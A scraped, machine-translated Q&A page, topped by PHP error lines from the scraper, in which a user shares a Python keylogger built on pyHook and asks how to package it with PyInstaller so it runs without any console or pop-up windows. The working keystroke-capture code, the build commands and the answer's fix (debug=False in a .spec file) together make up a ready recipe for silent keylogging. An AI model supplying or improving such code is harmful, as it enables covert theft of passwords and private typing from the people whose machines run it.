Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/ssis/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 将Pyinstaller与-noconsole一起使用会出现弹出窗口_Python_Console_Popup_Exe_Pyinstaller - Fatal编程技术网

Python 将Pyinstaller与-noconsole一起使用会出现弹出窗口

Python 将Pyinstaller与-noconsole一起使用会出现弹出窗口,python,console,popup,exe,pyinstaller,Python,Console,Popup,Exe,Pyinstaller,我有一个python文件,用.pyw保存以抑制控制台 import pyHook, pythoncom, sys, logging file_log = 'C:\\Lets_Create_Malware\\log.txt' def OnKeyboardEvent (event): logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') chr(event.Ascii)

我有一个python文件,用.pyw保存以抑制控制台

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Lets_Create_Malware\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
然后我用pyinstaller转换成.exe

c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw
但是当我双击.exe时,我得到了控制台

我试过了--没有控制台选项,即

c:\Python27\Malware>pyinstaller --debug --onefile --noupx --noconsole keylogger.pyw
但是,当我双击.exe时,会出现一系列恼人的弹出窗口,我必须使用任务管理器终止这些弹出窗口

如何修复


请创建一个.spec文件,然后添加到EXE部分

debug=错误

PyInstaller手册解释了规范文件。然后使用spec文件而不是脚本文件调用pyinstaller